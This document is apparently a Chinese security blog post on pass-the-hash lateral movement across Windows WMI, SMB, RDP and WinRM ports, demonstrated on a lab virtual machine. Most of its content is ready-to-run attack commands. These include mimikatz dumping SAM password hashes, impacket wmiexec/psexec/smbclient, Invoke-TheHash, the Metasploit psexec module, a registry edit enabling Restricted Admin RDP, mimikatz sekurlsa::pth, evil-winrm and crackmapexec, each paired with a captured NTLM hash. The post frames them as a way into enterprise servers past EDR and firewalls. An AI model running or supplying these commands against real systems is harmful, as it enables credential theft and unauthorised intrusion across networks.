內網橫向中windows各端口遠程登錄哈希傳遞的方法總結
Part1 前言
隨著人們的安全意識的逐步加強,企業內部的Windows服務器口令越來越復雜了,經常會遇到提權到windows服務器,獲取了用戶的密碼hash,但是cmd5官網或者本地猜解都拿不到明文密碼的情況。這時候就需要用到內網哈希傳遞技術了。哈希傳遞利用了NTLM認證的缺陷,使用用戶的密碼哈希值來進行NTLM認證。如果目標機器與獲取hash值的機器的密碼相同,就可以直接使用hash來遠程登錄Windows主機了。
當前內網環境中的主機為了防范MS17-010等漏洞,也為了阻斷哈希傳遞攻擊,很多主機都安裝了EDR防護、防火墻策略、殺毒軟件等等,把445端口都封禁掉了,導致基于SMB服務的 hash傳遞沒法使用。這個還是有解決辦法的,Windows的遠程登錄方式還有很多種,比如說135端口的WMI服務、3389的RDP服務、5985端口的Winrm服務都是可以用來哈希傳遞的,下面分情況具體講解一下。
Part2 技術研究過程
- 虛擬機環境搭建
為了方便演示,本地準備了一臺Windows2016的虛擬機,IP地址是192.168.237.209,密碼更改為P@ssw0rd

接下來使用mimikatz提取哈希值,得到NTLM哈希是e19ccf75ee54e06b06a5907af13cef42
有的哈希傳遞工具需要同時填上LMHash:NTHash,如果只獲取到了NThash部分,那么LMHash部分可以用32個0替代。
如下所示的使用命令,從本地sam文件中讀取密碼哈希。推薦使用以下命令,盡量不要從內存中提取,因為內存中存放的可能是管理員修改密碼前的哈希值,導致哈希傳遞不成功。提取哈希值命令如下:
mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
- 135端口wmi哈希傳遞
WMI 全稱 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系統都支持 WMI。由于 Windows 默認不會將 WMI 的操作記錄在日志里,同時現在越來越多的殺軟將 PsExec 加入了黑名單,因此 WMI 比 PsExec 隱蔽性要更好一些。
首先推薦的是 impacket內網滲透套件的wmiexec.exe程序,我從github下載的是windows編譯版,使用非常方便。如下所示命令,可以執行命令成功。
wmiexec -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209

接下來介紹另一款腳本Invoke-TheHash,使用powershell腳本編寫的專門用來哈希傳遞的腳本,同時支持WMI、SMB的哈希傳遞。
Import-Module ./Invoke-TheHash.psd1
Invoke-WMIExec -Target 192.168.237.209 -Username Administrator -Hash 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 -Command "whoami" -verbose

- 445端口smb哈希傳遞
1 首先推薦的是 impacket內網滲透套件的psexec.exe程序,使用方法如下:
psexec -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209

2 使用impacket套件的mmcexec工具:
mmcexec -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209

3 使用impacket套件的smbclient工具:
smbclient.exe -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209
4 Invoke-TheHash套件
Import-Module ./Invoke-TheHash.psd1
Invoke-SMBExec -Target 192.168.237.209 -Username Administrator -Hash 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 -Command "whoami" -verbose
5 使用Metasploit中的psexec功能哈希傳遞:
use exploit/windows/smb/psexec
set RHOST 192.168.237.209
set SMBUser Administrator
set SMBPass 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42
exploit

- 3389端口rdp哈希傳遞
3389的哈希傳遞讓我踩了不少坑,因為網上的一些文章寫的步驟不太明確,windows低版本如win2003、win2008是不支持的。正確步驟如下:
第一步:在服務端運行如下命令,開啟目標主機的Restricted Admin Mode(0代表開啟,1代表關閉):
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
第二步:攻擊機使用mimikatz執行如下命令:
privilege::debug
sekurlsa::pth /user:administrator /domain:. /ntlm:e19ccf75ee54e06b06a5907af13cef42 "/run:mstsc.exe /restrictedadmin"
接下來在彈出的“遠程桌面連接”處輸入服務端ip地址。

點擊“連接”后,要輸入用戶名密碼,即可登陸成功。
此外還有一個支持RDP服務哈希傳遞的工具,是linux系統下的,名叫FreeRDP-pth,使用挺麻煩的,因為編譯特別費事,我還是使用mimikatz吧,大家感興趣可以去編譯一下。
- 5985端口winrm哈希傳遞
WinRM 是 Windows Remote Managementd(Windows 遠程管理)的簡稱,WinRM HTTP 通過 TCP 端口 5985 進行通信,而 HTTPS(TLS)通過 TCP 端口 5986 進行通信。如果所有的機器都是在域環境下,則可以使用默認的 5985 端口,否則的話則通過 5986 端口使用 HTTPS 傳輸。使用 WinRM 我們可以在遠程主機設置了防火墻的情況下遠程管理這臺服務器,因為啟動 WinRM 服務后,防火墻默認會自動放行 5985 端口。Windows 遠程管理服務(WinRM)適用于 Windows Server 2008 和 Windows 7 以后的操作系統并自動與其支持的操作系統一起安裝,但是只有在 Windows Server 2008 以上的操作系統 WinRM 服務才會自動啟動,其他都需要手動開啟。
Winrm哈希傳遞有幾個坑,網上的各種關于winrm的哈希傳遞工具我都測試過,目前我本地測試成功的僅有evil-winrm及crackmapexec這兩款工具可以測試成功,其它的exe版本的、python版本的工具,我本地測試各種問題,暫時不知道原因出在哪里。
第一步,需要安裝evil-winrm:
gem install evil-winrm
第二步,執行命令如下:
ruby evil-winrm.rb -i 192.168.237.209 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42

第2個工具就是大名鼎鼎的crackmapexec了,新版已經支持winrm哈希傳遞,kali linux2020中自帶的cmp一運行就報錯,建議大家自己重裝一下。
poetry run crackmapexec winrm 192.168.237.209 -u Administrator -H 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 -x whoami

Part3 總結
1. 哈希傳遞工具我只列出了自己平時用著順手的,大家有更好的工具可以微信后臺給我留言。
2. 在內網橫向中,經常會遇到各種各樣的問題,有的特定環境下,只有一兩款工具能用,多收集整理一下很有必要。